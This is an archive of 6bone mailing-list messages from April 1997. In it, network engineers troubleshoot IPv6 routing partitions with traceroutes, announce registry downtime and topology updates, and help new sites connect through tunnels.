> > lead to some operational problems.  The original Internet Draft
> > version of this subject used the normal AFI of 47 with an ICD
> > of 0090, which definitely would not be a problem for ATM use.
> > What was the rationale for changing this to use a new AFI?
> 
> My recollection (and I was not involved in the actual
> discussions taking place) was that the use of IANA's
> ICD value for this purpose left no possibility of any
> other potential use, and was thus considered too restrictive.
> The new AFI value was a way to avoid this limitation (although
> it clearly was not the only possible solution).
> 
> Dan
> 


From majordom@ISI.EDU  Tue Apr 22 22:12:55 1997
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Hi guys.

Here's a message I just sent to the UK-6bone mailing list.  Not wanting to
point fingers of blame, but could NRL and JOIN have a look at their
routing tables and see if all is well? 

On a more positive subject, now that things are by and large fairly
reliable and we are starting to see a fair amount of IPv6-capable mail
software at large in the world, would there be any interest in setting up
an exploder for this list so that people can actually the mail over their
6bone connections? 

p.

---------- Forwarded message ----------
Date: Tue, 22 Apr 1997 21:06:33 +0100 (BST)
From: Philip Blundell <Philip.Blundell@pobox.com>
To: Peter Curran <pcurran@ticl.co.uk>
Cc: UK 6bone <uk6bone@scorpio.ecs.soton.ac.uk>
Subject: Re: Connectivity

On Tue, 22 Apr 1997, Peter Curran wrote:

> I went and checked the NIST page (my normal measure of 'whats working')
> and all was well.  Looking at the traceroute info there I think that
> there is some partitioning going on for sites that are not directly or
> indirectly connected to NRL (or maybe its the other way round) - our
> primary path is via a direct tunnel to NRL. 

It certainly looks now as if there is a partitioning effect.  I suspect
that some routes are getting lost where the backbone nodes peer with each
other. 

This is what I get if I try to traceroute to BT-LABS (who get their
connectivity from NRL).

kings-cross:~$ traceroute 5f06:d800:c171:3a00::1
traceroute to 5f06:d800:c171:3a00::1 (5f06:d800:c171:3a00::1), 30 hops
max, 60 byte packets
 1  6bone-gw.lon.ip6.pipex.net (5f07:3900:9e2b:8500:0:1111:1111:1111)
14.777 ms !N  16.376 ms !N *
kings-cross:~$ 

They apparently are up, because NIST can see them (and I imagine TICL can
too). 

I checked Bob Fink's 6bone map.  With the exception of NIST (who I _can_
see) all the other nodes off NRL are unreachable from here.  I get a
similar picture in Germany; all nodes fed from JOIN are unreachable aside
from BME-FSZ.

A traceroute to BME gives me this:

kings-cross:~$ traceroute 5f09:f300:9842:4c00:4c:0:c067:7b99
traceroute to 5f09:f300:9842:4c00:4c:0:c067:7b99
(5f09:f300:9842:4c00:4c:0:c067:7b99), 30 hops max, 60 byte packets
 1  6bone-gw.lon.ip6.pipex.net (5f07:3900:9e2b:8500:0:1111:1111:1111)
21.024 ms *  12.603 ms
 2  5f07:2b00:82e1:e700:5:3333:3333:3333
(5f07:2b00:82e1:e700:5:3333:3333:3333)  79.197 ms *  98.866 ms
 3  tracy.ipv6.fsz.bme.hu (5f09:f300:9842:4c00:4c:0:c067:7b99)  1007.476
ms *  630.767 ms
kings-cross:~$

and a traceroute to NIST gives me this:

kings-cross:~$ traceroute 5f00:3100:8106:3300:0:c0:3302:5a
traceroute to 5f00:3100:8106:3300:0:c0:3302:5a
(5f00:3100:8106:3300:0:c0:3302:5a), 30 hops max, 60 byte packets
 1  6bone-gw.lon.ip6.pipex.net (5f07:3900:9e2b:8500:0:1111:1111:1111)
15.904 ms *  12.136 ms
 2  6bone-core.ipv6.imag.fr (5f06:b500:8158:1a00:0:800:2bb9:f33d)  74.400
ms  66.592 ms  100.538 ms
 3  luna-v6.ipv6.imag.fr (5f06:b500:8158:1a00:0:800:2075:24ea)  70.568 ms
329.833 ms  64.592 ms
 4  ipng9.ipng.nist.gov (5f00:3100:8106:3300:0:c0:3302:5a)  245.904 ms *
482.212 ms
kings-cross:~$ 

- in both cases it seems that either the 6bone map is wrong about the
connectivity, or there are backup routes in place.

I'll forward this to the main 6bone mailing list and see what people there
have to say.

p.



From majordom@ISI.EDU  Wed Apr 23 14:57:24 1997
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Date: Wed, 23 Apr 1997 12:57:24 +0200 (MEZ)
From: JOIN Project Team <ipng@uni-muenster.de>
Reply-To: JOIN Project Team <join@uni-muenster.de>
To: Philip Blundell <pjb27@cam.ac.uk>
Cc: 6bone@ISI.EDU
Subject: Re: 6bone partitioned?
In-Reply-To: <Pine.SOL.3.96.970422210642.9893Q-100000@hammer.thor.cam.ac.uk>
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Hi Philip,

On Tue, 22 Apr 1997, Philip Blundell wrote:

> Hi guys.
>=20
> Here's a message I just sent to the UK-6bone mailing list.  Not wanting=
 to
> point fingers of blame, but could NRL and JOIN have a look at their
> routing tables and see if all is well?=20
>=20
> On a more positive subject, now that things are by and large fairly
> reliable and we are starting to see a fair amount of IPv6-capable mail
> software at large in the world, would there be any interest in setting =
up
> an exploder for this list so that people can actually the mail over the=
ir
> 6bone connections?=20
>=20
> p.
>=20
> ---------- Forwarded message ----------
> Date: Tue, 22 Apr 1997 21:06:33 +0100 (BST)
> From: Philip Blundell <Philip.Blundell@pobox.com>
> To: Peter Curran <pcurran@ticl.co.uk>
> Cc: UK 6bone <uk6bone@scorpio.ecs.soton.ac.uk>
> Subject: Re: Connectivity
>=20
> On Tue, 22 Apr 1997, Peter Curran wrote:
>=20
> > I went and checked the NIST page (my normal measure of 'whats working=
')
> > and all was well.  Looking at the traceroute info there I think that
> > there is some partitioning going on for sites that are not directly o=
r
> > indirectly connected to NRL (or maybe its the other way round) - our
> > primary path is via a direct tunnel to NRL.=20
>=20
> It certainly looks now as if there is a partitioning effect.  I suspect
> that some routes are getting lost where the backbone nodes peer with ea=
ch
> other.=20
>=20
> This is what I get if I try to traceroute to BT-LABS (who get their
> connectivity from NRL).
>=20
> kings-cross:~$ traceroute 5f06:d800:c171:3a00::1
> traceroute to 5f06:d800:c171:3a00::1 (5f06:d800:c171:3a00::1), 30 hops
> max, 60 byte packets
>  1  6bone-gw.lon.ip6.pipex.net (5f07:3900:9e2b:8500:0:1111:1111:1111)
> 14.777 ms !N  16.376 ms !N *
> kings-cross:~$=20
>=20
> They apparently are up, because NIST can see them (and I imagine TICL c=
an
> too).=20

our router don=B4t get any route for 5f06:d800::/32. Normally we should g=
et
the prefix at least via RIPng from CICNET.=20

>=20
> I checked Bob Fink's 6bone map.  With the exception of NIST (who I _can=
_
> see) all the other nodes off NRL are unreachable from here.  I get a
> similar picture in Germany; all nodes fed from JOIN are unreachable asi=
de
> from BME-FSZ.
>=20
> A traceroute to BME gives me this:
>=20
> kings-cross:~$ traceroute 5f09:f300:9842:4c00:4c:0:c067:7b99
> traceroute to 5f09:f300:9842:4c00:4c:0:c067:7b99
> (5f09:f300:9842:4c00:4c:0:c067:7b99), 30 hops max, 60 byte packets
>  1  6bone-gw.lon.ip6.pipex.net (5f07:3900:9e2b:8500:0:1111:1111:1111)
> 21.024 ms *  12.603 ms
>  2  5f07:2b00:82e1:e700:5:3333:3333:3333
> (5f07:2b00:82e1:e700:5:3333:3333:3333)  79.197 ms *  98.866 ms
>  3  tracy.ipv6.fsz.bme.hu (5f09:f300:9842:4c00:4c:0:c067:7b99)  1007.47=
6
> ms *  630.767 ms
> kings-cross:~$
>=20
> and a traceroute to NIST gives me this:
>=20
> kings-cross:~$ traceroute 5f00:3100:8106:3300:0:c0:3302:5a
> traceroute to 5f00:3100:8106:3300:0:c0:3302:5a
> (5f00:3100:8106:3300:0:c0:3302:5a), 30 hops max, 60 byte packets
>  1  6bone-gw.lon.ip6.pipex.net (5f07:3900:9e2b:8500:0:1111:1111:1111)
> 15.904 ms *  12.136 ms
>  2  6bone-core.ipv6.imag.fr (5f06:b500:8158:1a00:0:800:2bb9:f33d)  74.4=
00
> ms  66.592 ms  100.538 ms
>  3  luna-v6.ipv6.imag.fr (5f06:b500:8158:1a00:0:800:2075:24ea)  70.568 =
ms
> 329.833 ms  64.592 ms
>  4  ipng9.ipng.nist.gov (5f00:3100:8106:3300:0:c0:3302:5a)  245.904 ms =
*
> 482.212 ms
> kings-cross:~$=20
>=20
> - in both cases it seems that either the 6bone map is wrong about the
> connectivity, or there are backup routes in place.

the 6bone map does not show all tunnels of transit and leaf sites. If
you refer to the ripe registry you see that NIST has also a tunnel to G6 =
-
that explains your traceroute. Your traceroute to BME goes via UNI-C
because we don=B4t have a direct tunnel to UUNET...

- Guido

-------------------------------------------------------------------------=
-----
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Mue=
nster
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: +49 251 83 31639, fax: +49 251 83 31653, email: wessend@uni-muenst=
er.de
-------------------------------------------------------------------------=
-----

> I'll forward this to the main 6bone mailing list and see what people th=
ere
> have to say.
>=20
> p.
>=20
>=20


From majordom@ISI.EDU  Wed Apr 23 17:30:08 1997
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Date: Wed, 23 Apr 1997 16:30:08 +0100 (BST)
From: Guy Davies <guyd@uunet.pipex.com>
To: JOIN Project Team <join@uni-muenster.de>
Cc: Philip Blundell <pjb27@cam.ac.uk>, 6bone@ISI.EDU
Subject: Re: 6bone partitioned?
In-Reply-To: <Pine.SOL.3.96.970423113809.596A-100000@SOLARIX1.UNI-MUENSTER.DE>
Message-Id: <Pine.GSO.3.95q.970423162023.6408S-100000@swannee.uunet.pipex.com>
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On Wed, 23 Apr 1997, JOIN Project Team wrote:

> > This is what I get if I try to traceroute to BT-LABS (who get their
> > connectivity from NRL).
> >=20
> > kings-cross:~$ traceroute 5f06:d800:c171:3a00::1
> > traceroute to 5f06:d800:c171:3a00::1 (5f06:d800:c171:3a00::1), 30 hops
> > max, 60 byte packets
> >  1  6bone-gw.lon.ip6.pipex.net (5f07:3900:9e2b:8500:0:1111:1111:1111)
> > 14.777 ms !N  16.376 ms !N *
> > kings-cross:~$=20
> >=20
> > They apparently are up, because NIST can see them (and I imagine TICL c=
an
> > too).=20
>=20
> our router don=B4t get any route for 5f06:d800::/32. Normally we should g=
et
> the prefix at least via RIPng from CICNET.=20

Hi Philip & Guido,

We also have no connectivity to the address you show.

6bone-lon-gw#sho ipv6 route 5f06:d800:c171:3a00::1/128
Route not found

BT-LABS also have connections to IFB and ULANC.  I am getting RIPng from
IFB so clearly there's either broken RIPng from BT-LABS or the static from
IFB to BT-LABS isn't being redistributed or BT-LABS don't really have a
tunnel to IFB.  I think ULANC are either down or not running a RIPng
routing daemon because their RIPng session to us is not running.

This certainly explains your lack of connectivity to BT-LABS but not
necessarily to anywhere else.

Guy



From majordom@ISI.EDU  Wed Apr 23 11:28:38 1997
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From: davidk@isi.edu
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Subject: power outage for the experimental 6bone registry
To: 6bone@ISI.EDU
Date: Wed, 23 Apr 1997 18:28:38 -0700 (PDT)
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Hi,

The experimental 6BONE registry at ISI will unfortunately be down this
night due to scheduled maintenance work to the electrical power systems
which will result in a power outage.

E-mail updates can be send but will be deferred until the system is up
again, queries will not work. However, at least in theory, and if you
really need the data, a full dump of the database can be obtained from my
webpage (http://www.isi.edu/~davidk/6bone/) since the web server runs
from another power source.

Bob Fink and me have already agreed that we will have in the future at
least one real time mirror server running at another location to make
sure that we will always have at least one server up and running and
ready to answer your queries.

My apologies for the inconvenience,

David K.
---

From majordom@ISI.EDU  Thu Apr 24 15:47:14 1997
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To: 6bone@ISI.EDU
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Subject: Updates to DIGITAL-CA
Date: Thu, 24 Apr 97 22:47:14 -0700
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Tunnels added to SURFNET and TANET-TW.

We're testing new proxy aggregation code to address the problem with
more specific routes within the SOFTBANK prefix that Alain pointed out
at the Memphis 6bone meeting. If anyone sees a more specific route
within the prefix 5F01:2200:2D00::/48, could you please let me know
(along with whether you receive it directly from me or through a third
party). 

Thanks,
Stephen


From majordom@ISI.EDU  Fri Apr 25 01:25:37 1997
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Date: Fri, 25 Apr 1997 08:25:37 -0700
To: Daniel Chiu <dchiu@cs.ubc.ca>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Attachment point to 6bone
Cc: 6bone@isi.edu (6BONE Mailer)
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Daniel,

At 4:54 PM -0700 4/21/97, Daniel Chiu wrote:
>Hi,
>
>I would like to connect my user machine to the 6bone and would like to 
>know if someone would be willing to tell me which would be the most 
>appropriate attachment point?
>
>Thank you for your assistance.
>
>Daniel Chiu
>dchiu@cs.ubc.ca

Did anyone respond you yet?

If not...my recommendations for UBC (given its connectivity from my perspective) is to come in thru NWNET in the Seattle area.  This would give you good connectivity until we have a Canadian-based transit or backbone site.

Contact:

	Doug Junkins <junkins@nwnet.net>


Thanks,

Bob

=============
Find route to: www.ubc.ca. (137.82.194.43), Max 30 hops, 40 byte packets
Host Names truncated to 32 bytes
 1 ir30gw.lbl.gov.                  (128.3.9.1      ):     2ms        1ms        2ms   
 2 er1gw.lbl.gov.                   (131.243.128.11 ):     1ms        2ms        1ms   
 3 lbl-lc1-1.es.net.                (198.128.16.11  ):     2ms        2ms        1ms   
 4 ames-lbl-atms.es.net.            (134.55.28.1    ):     8ms        7ms        7ms   
 5 fix-west-cpe.sanfrancisco.mci.ne (192.203.230.18 ):     7ms        7ms        7ms   
 6     *     
 6 core1-hssi3-0.sanfrancisco.mci.n (204.70.1.205   ):    11ms       14ms   
 7 core1.seattle.mci.net.           (204.70.4.165   ):    24ms       24ms       24ms   
 8 border2-fddi-0.seattle.mci.net.  (204.70.3.146   ):    24ms       28ms       27ms   
 9 canet.seattle.mci.net.           (204.70.53.6    ):    31ms       27ms       26ms   
10 205.207.238.133                  (205.207.238.133):    33ms      109ms       97ms   
11 psp.bc.canet.ca.                 (205.207.238.173):    29ms       31ms       29ms   
12     *     
12 regiona12.bc.canet.ca.           (192.68.61.102  ):    34ms       31ms   
13 ubc-ubiquity.ubc.bc.net.         (142.231.2.1    ):    35ms       33ms       32ms   
14 anguhub14.net.ubc.ca.            (137.82.207.1   ):    33ms       38ms       35ms   
15 cscihub1.net.ubc.ca.             (137.82.202.2   ):    36ms       31ms       33ms   
16 web.ucs.ubc.ca.                  (137.82.194.10  ):    40ms        *         35ms   
*Trace completed*

=====
site:           NorthWestNet
location:       Bellevue, Washington, USA
loc-string:     47 35 2n 122 8 2w 5m
prefix:         5F02:AD00:C050:0D00/64
ping:           mahogany.ipv6.nwnet.net (5f02:ad00:c050:d00:1:800:207F:049D)
ping:           nwnet-6bone-gw.ipv6.nwnet.net (5f02:ad00:c050:d00:1::c1a:c8a8)
tunnel:         192.220.249.249 204.123.2.236 DIGITAL-CA/US - RIPng operational
tunnel:         192.220.249.249 128.223.222.11 UOREGON/US - RIPng operational
tunnel:         192.220.249.249 131.103.1.54 CICNET/US - RIPng operational
tunnel:         192.220.249.249 137.229.12.248 ALASKA/US - RIPng operational
tunnel:         192.220.249.249 158.43.137.157 UUNET/UK - RIPng experimental
tunnel:         192.220.249.249 198.128.2.27 ESNET/US - RIPng operational
tunnel:         192.220.249.249 140.142.96.1 UW/US - Static operational
tunnel:         192.220.249.249 199.242.16.23 IXA/US - RIPng operational
contact:        Doug Junkins <junkins@nwnet.net>
status:         operational since 12/6/96
remarks:        nwnet-6bone-gw.nwnet.net is a Cisco 4000M 
remarks:        will add tunnels to people with ipv4 connectivity to
remarks:        NorthWestNet, MCI, Sprint's Seattle POP, and UUNet's
remarks:        Seattle and Portland POPs.
remarks:        Please send connectivity problems and requests to the
remarks:        above contact
changed:        junkins@nwnet.net 970326
source:         RIPE

-end



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Content-Type: text/plain; charset="us-ascii"
Date: Fri, 25 Apr 1997 10:55:59 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 67
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

new 6bone diagram - version 67

	move SURFNET/NL to backbone site

	add SURFNET-HQ/NL to SURFNET/NL

	move USOT-ECS/UK to transit site

	add DRA/UK to USOT-ECS/UK

	add TANET/TW to DIGITAL-CA/US

	add USL/UK to DIGITAL-ETC/FR


Welcome to the new sites:

SURFnet-HQ  Hoog Catharijne, Utrecht, The Netherlands

DRA-UK: Defence Research Agency, DRA Malvern, Worcestershire, UK

TANET-TW IPv6 project (Transit site) Shen-Kan, Taipei, Taiwan, Republic of
China

Unidec Systems Ltd, Manor Chambers, Marygate, York, England


Thanks,

Bob



From majordom@ISI.EDU  Fri Apr 25 03:56:49 1997
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Date: Fri, 25 Apr 1997 10:56:49 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: 6bone country list - now at 25
Sender: owner-6bone@ISI.EDU
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Status: RO

Here is my list of countries on the 6bone. PLease let me know if I've
messed it up somehow.

I'll soon add a page for this on the web site.


Thanks,

Bob

=============
AT - Austria
AU - Australia
CA - Canada
BE - Belgium
CH - Switzerland
CN - China
DE - Germany
DK - Denmark
ES - Spain
FR - France
HU _ Hungary
IT - Italy
JP - Japan
KR - Korea
KZ - Kazakhstan
NL - Netherlands
PL - Poland
PT - Portugal
RU - Russian Federation
SE - Sweden
SG - Singapore
SK - Slovakia
TW - Taiwan
UK - United Kingdom
US - United States
------------------
25 countries



From majordom@ISI.EDU  Fri Apr 25 13:34:42 1997
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To: 6bone@isi.edu
Subject: I'd like to connect to the 6bone...
X-Mailer: MH [Version 6.8]
Date: Fri, 25 Apr 1997 17:34:42 -0400
From: Horst von Brand <vonbrand@inf.utfsm.cl>
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And I need some kind of step-by-step instructions for doing this.  Note
that I'm far off any place, and there is no local expertise/help to be
had.  Any URLs or other pointers?

Thanks!
--
Dr. Horst H. von Brand                       mailto:vonbrand@inf.utfsm.cl
Departamento de Informatica                     Fono: +56 32 654431
Universidad Tecnica Federico Santa Maria              +56 32 654239
Casilla 110-V, Valparaiso, Chile                Fax:  +56 32 797513

From majordom@ISI.EDU  Sat Apr 26 03:32:48 1997
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Date: Sat, 26 Apr 1997 10:32:48 -0700 (PDT)
From: Doug Junkins <junkins@nwnet.net>
To: Bob Fink <RLFink@lbl.gov>
Cc: Daniel Chiu <dchiu@cs.ubc.ca>, 6BONE Mailer <6bone@ISI.EDU>
Subject: Re: Attachment point to 6bone
In-Reply-To: <v03007809af867b4d4ebf@[128.3.9.22]>
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We're working with Daniel and his network adminstrator to set up a tunnel.

- Doug

 /  Douglas A. Junkins    |   Network Engineering        \
/   Network Engineer      |   NorthWestNet                \
\   junkins@nwnet.net     |   Bellevue, Washington, USA   /
 \  +1-206-649-7419       |                              /

On Fri, 25 Apr 1997, Bob Fink wrote:

> Daniel,
> 
> At 4:54 PM -0700 4/21/97, Daniel Chiu wrote:
> >Hi,
> >
> >I would like to connect my user machine to the 6bone and would like to 
> >know if someone would be willing to tell me which would be the most 
> >appropriate attachment point?
> >
> >Thank you for your assistance.
> >
> >Daniel Chiu
> >dchiu@cs.ubc.ca
> 
> Did anyone respond you yet?
> 
> If not...my recommendations for UBC (given its connectivity from my perspective) is to come in thru NWNET in the Seattle area.  This would give you good connectivity until we have a Canadian-based transit or backbone site.
> 
> Contact:
> 
> 	Doug Junkins <junkins@nwnet.net>
> 
> 
> Thanks,
> 
> Bob
> 
> =============
> Find route to: www.ubc.ca. (137.82.194.43), Max 30 hops, 40 byte packets
> Host Names truncated to 32 bytes
>  1 ir30gw.lbl.gov.                  (128.3.9.1      ):     2ms        1ms        2ms   
>  2 er1gw.lbl.gov.                   (131.243.128.11 ):     1ms        2ms        1ms   
>  3 lbl-lc1-1.es.net.                (198.128.16.11  ):     2ms        2ms        1ms   
>  4 ames-lbl-atms.es.net.            (134.55.28.1    ):     8ms        7ms        7ms   
>  5 fix-west-cpe.sanfrancisco.mci.ne (192.203.230.18 ):     7ms        7ms        7ms   
>  6     *     
>  6 core1-hssi3-0.sanfrancisco.mci.n (204.70.1.205   ):    11ms       14ms   
>  7 core1.seattle.mci.net.           (204.70.4.165   ):    24ms       24ms       24ms   
>  8 border2-fddi-0.seattle.mci.net.  (204.70.3.146   ):    24ms       28ms       27ms   
>  9 canet.seattle.mci.net.           (204.70.53.6    ):    31ms       27ms       26ms   
> 10 205.207.238.133                  (205.207.238.133):    33ms      109ms       97ms   
> 11 psp.bc.canet.ca.                 (205.207.238.173):    29ms       31ms       29ms   
> 12     *     
> 12 regiona12.bc.canet.ca.           (192.68.61.102  ):    34ms       31ms   
> 13 ubc-ubiquity.ubc.bc.net.         (142.231.2.1    ):    35ms       33ms       32ms   
> 14 anguhub14.net.ubc.ca.            (137.82.207.1   ):    33ms       38ms       35ms   
> 15 cscihub1.net.ubc.ca.             (137.82.202.2   ):    36ms       31ms       33ms   
> 16 web.ucs.ubc.ca.                  (137.82.194.10  ):    40ms        *         35ms   
> *Trace completed*
> 
> =====
> site:           NorthWestNet
> location:       Bellevue, Washington, USA
> loc-string:     47 35 2n 122 8 2w 5m
> prefix:         5F02:AD00:C050:0D00/64
> ping:           mahogany.ipv6.nwnet.net (5f02:ad00:c050:d00:1:800:207F:049D)
> ping:           nwnet-6bone-gw.ipv6.nwnet.net (5f02:ad00:c050:d00:1::c1a:c8a8)
> tunnel:         192.220.249.249 204.123.2.236 DIGITAL-CA/US - RIPng operational
> tunnel:         192.220.249.249 128.223.222.11 UOREGON/US - RIPng operational
> tunnel:         192.220.249.249 131.103.1.54 CICNET/US - RIPng operational
> tunnel:         192.220.249.249 137.229.12.248 ALASKA/US - RIPng operational
> tunnel:         192.220.249.249 158.43.137.157 UUNET/UK - RIPng experimental
> tunnel:         192.220.249.249 198.128.2.27 ESNET/US - RIPng operational
> tunnel:         192.220.249.249 140.142.96.1 UW/US - Static operational
> tunnel:         192.220.249.249 199.242.16.23 IXA/US - RIPng operational
> contact:        Doug Junkins <junkins@nwnet.net>
> status:         operational since 12/6/96
> remarks:        nwnet-6bone-gw.nwnet.net is a Cisco 4000M 
> remarks:        will add tunnels to people with ipv4 connectivity to
> remarks:        NorthWestNet, MCI, Sprint's Seattle POP, and UUNet's
> remarks:        Seattle and Portland POPs.
> remarks:        Please send connectivity problems and requests to the
> remarks:        above contact
> changed:        junkins@nwnet.net 970326
> source:         RIPE
> 
> -end
> 
> 


From majordom@ISI.EDU  Wed Apr 26 18:14:34 1997
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Date: Sun, 27 Apr 1997 01:14:34 -0700
From: John Kennedy <warlock@csuchico.edu>
Message-Id: <199704270814.BAA07946@hircine.net.chico.ca.us>
To: 6bone@isi.edu
Subject: join request
Sender: owner-6bone@ISI.EDU
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Status: RO

04/27/97 @ 01:12:52 AM (Sunday)

  Seems like a chicken & egg situation, so I'll punt.  (:

  I've got a linux-2.1.36 box set up and I think the 6bone tunnel is
the next step.  My boxes address is 132.241.60.98 if you want to test
to it, and I've done a few traceroutes to likely destinations.  Any
steps I'm missing at this point?
								--- john
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
IPv6 calculations using the Subnet Address : 0

PREFIX		01011111
ASN		0000111100111011
RESERVED	00000000
IP		100001001111000100111100
RESERVED	00000000
SUBNET ADDR	0000000000000000
MAC ADDRESS	000000000010000010101111011100110010111111000110

Converting to hex:
5F0F3B0084F13C0000000020AF732FC6

Reforming to flat IPv6:
5F0F:3B00:84F1:3C00:0000:0020:AF73:2FC6 

Shortens/Reduces to:
5F0F:3B00:84F1:3C00::20:AF73:2FC6
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[bmanning@isi.edu]
 1  cuitlahac.net.CSUChico.EDU (132.241.60.97)  3.082 ms  3.405 ms  2.72 ms
 2  john-parker-e31.net.CSUChico.EDU (132.241.66.1)  3.96 ms  1.949 ms  1.909 ms
 3  john-bigboote.net.CSUChico.EDU (132.241.60.81)  2.651 ms  2.008 ms  1.924 ms
 4  Chico.CSU.net (132.241.65.1)  2.826 ms  2.249 ms  2.148 ms
 5  137.145.124.2 (137.145.124.2)  12.94 ms  14.81 ms  13.259 ms
 6  sl-stk-17-H11/0-T3.sprintlink.net (144.228.147.13)  15.82 ms  15.644 ms  14.479 ms
 7  144.228.40.22 (144.228.40.22)  32.203 ms  15.925 ms  15.574 ms
 8  sl-stk-2-P4/0/0-155M.sprintlink.net (144.232.1.6)  17.313 ms  16.556 ms  16.75 ms
 9  sl-mae-w-H1/0-T3.sprintlink.net (144.228.10.46)  21.608 ms  18.555 ms  18.395 ms
10  f6.peer1.sjc1.genuity.net (198.32.136.56)  38.311 ms  34.529 ms  29.908 ms
11  f6.core1.sjc1.genuity.net (207.240.1.33)  40.163 ms  33.817 ms  29.588 ms
12  core1.lax1.genuity.net (207.240.0.5)  40.959 ms  45.292 ms  39.107 ms
13  f6.peer1.lax1.genuity.net (207.240.1.30)  41.889 ms  38.588 ms  39.016 ms
14  sandbox.ep.net (198.32.146.11)  26.12 ms *  172.918 ms
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[gw-6bone@pa.dec.com]
 1  cuitlahac.net.CSUChico.EDU (132.241.60.97)  5.411 ms  2.832 ms  2.613 ms
 2  john-oconnor.net.CSUChico.EDU (132.241.66.33)  4.834 ms  4.006 ms  2.874 ms
 3  john-bigboote.net.CSUChico.EDU (132.241.60.70)  2.157 ms  1.97 ms  2.022 ms
 4  Chico.CSU.net (132.241.65.1)  2.311 ms  3.583 ms  2.456 ms
 5  San-Francisco.CSU.net (137.145.120.2)  10.677 ms  13.903 ms  20.675 ms
 6  sl-stk-17-H11/0-T3.sprintlink.net (144.228.147.13)  219.4 ms  214.151 ms  236.951 ms
 7  144.228.40.19 (144.228.40.19)  14.103 ms  13.611 ms  23.941 ms
 8  Hssi2-0.GW1.SFO1.ALTER.NET (137.39.166.121)  54.278 ms  42.731 ms  69.956 ms
 9  421.atm3-0.cr2.sfo1.alter.net (137.39.13.46)  173.83 ms *  32.215 ms
10  133.Hssi12-0.CR2.PAO1.Alter.Net (137.39.71.229)  31.157 ms  35.89 ms  31.344 ms
11  312.atm2-0.br1.pao1.alter.net (137.39.13.145)  34.083 ms  48.62 ms  32.437 ms
12  digital-gw1.pa-x.dec.com (198.32.176.241)  28.716 ms  30.297 ms  30.595 ms
13  pax-6bone.pa-x.dec.com (204.123.2.236)  30.927 ms  1942.93 ms  34.644 ms
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[ipv6-support@cisco.com]
 1  cuitlahac.net.CSUChico.EDU (132.241.60.97)  6.742 ms  84.784 ms  7.815 ms
 2  john-oconnor.net.CSUChico.EDU (132.241.66.33)  82.782 ms  3.162 ms  3.212 ms
 3  john-bigboote.net.CSUChico.EDU (132.241.60.70)  3.436 ms  2.005 ms  2.042 ms
 4  Chico.CSU.net (132.241.65.1)  2.302 ms  2.327 ms  2.209 ms
 5  San-Francisco.CSU.net (137.145.120.2)  11.47 ms  11.817 ms  10.561 ms
 6  sl-stk-17-H11/0-T3.sprintlink.net (144.228.147.13)  15.92 ms  15.984 ms  15.741 ms
 7  144.228.40.22 (144.228.40.22)  13.708 ms  15.106 ms  13.877 ms
 8  sl-stk-2-P4/0/0-155M.sprintlink.net (144.232.1.6)  15.045 ms  13.995 ms  26.657 ms
 9  sl-mae-w-H1/0-T3.sprintlink.net (144.228.10.46)  69.164 ms  329.786 ms  23.449 ms
10  sanjose1-br1.bbnplanet.net (198.32.136.19)  27.441 ms  31.025 ms  28.341 ms
11  paloalto-br2.bbnplanet.net (4.0.1.10)  28.755 ms  27.888 ms  38.954 ms
12  su-pr2.bbnplanet.net (131.119.0.218)  26.655 ms  28.152 ms  28.231 ms
13  cisco.bbnplanet.net (131.119.26.10)  28.429 ms  41.227 ms  31.145 ms
14  dirtylab-gw-2.cisco.com (192.31.7.47)  27.944 ms  32.346 ms  29.553 ms
15  eng-ios-dirtylab-gw.cisco.com (192.31.7.104)  28.048 ms *  32.204 ms
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[dorian@cic.net]
 1  cuitlahac.net.CSUChico.EDU (132.241.60.97)  5.723 ms  4.997 ms  2.899 ms
 2  john-parker-e31.net.CSUChico.EDU (132.241.66.1)  4.206 ms  1.956 ms  2.059 ms
 3  john-bigboote.net.CSUChico.EDU (132.241.60.81)  2.569 ms  1.993 ms  1.9 ms
 4  Chico.CSU.net (132.241.65.1)  2.587 ms  5.087 ms  2.187 ms
 5  San-Francisco.CSU.net (137.145.120.2)  17.848 ms  14.405 ms  15.47 ms
 6  sl-stk-17-H11/0-T3.sprintlink.net (144.228.147.13)  15.677 ms  17.037 ms  21.309 ms
 7  144.228.40.22 (144.228.40.22)  19.63 ms  15.622 ms  22.585 ms
 8  sl-stk-1-P10/0/0-155M.sprintlink.net (144.232.1.1)  17.372 ms  18.462 ms  25.546 ms
 9  core4-hssi1-0.SanFrancisco.mci.net (206.157.77.65)  41.164 ms  191.319 ms  32.587 ms
10  bordercore3-loopback.WillowSprings.mci.net (166.48.32.1)  329.666 ms  111.526 ms  69.329 ms
11  cicnet.WillowSprings.mci.net (166.48.33.250)  81.222 ms  67.228 ms  70.832 ms
12  6bone.chicago.cic.net (131.103.1.54)  71.736 ms  71.525 ms *

From majordom@ISI.EDU  Mon Apr 28 13:12:15 1997
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Date: Mon, 28 Apr 1997 17:12:15 -0400
From: Jack McCann <mccann@zk3.dec.com>
Message-Id: <9704282112.AA19293@wasted.zk3.dec.com>
To: jason@linux.aatech.com
Subject: Re: Getting attached...
Cc: 6bone@ISI.EDU, mccann@zk3.dec.com
Sender: owner-6bone@ISI.EDU
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Status: RO


Jason,

Digital is currently running the primary for 0.0.9.e.d.0.f.5.ip6.int.
As Bill pointed out, this should probably be in MCI's hands, but due
to the way things evolved, we're it for now.  We'll contact MCI to
see if we can fix this.  In the mean time, I can simply delegate
0.0.4.9.c.9.e.c.0.0.9.e.d.0.f.5.ip6.int to you.  Send me your server
names/addresses and I'll put in the necessary glue.

- Jack

----------------------------------------------
From majordom@ISI.EDU Mon Mar  3 17:33:50 1997
From: bmanning@ISI.EDU
Subject: Re: Getting attached...
To: jason@linux.aatech.com (Jason Duerstock)
Date: Mon, 3 Mar 1997 13:53:50 -0800 (PST)
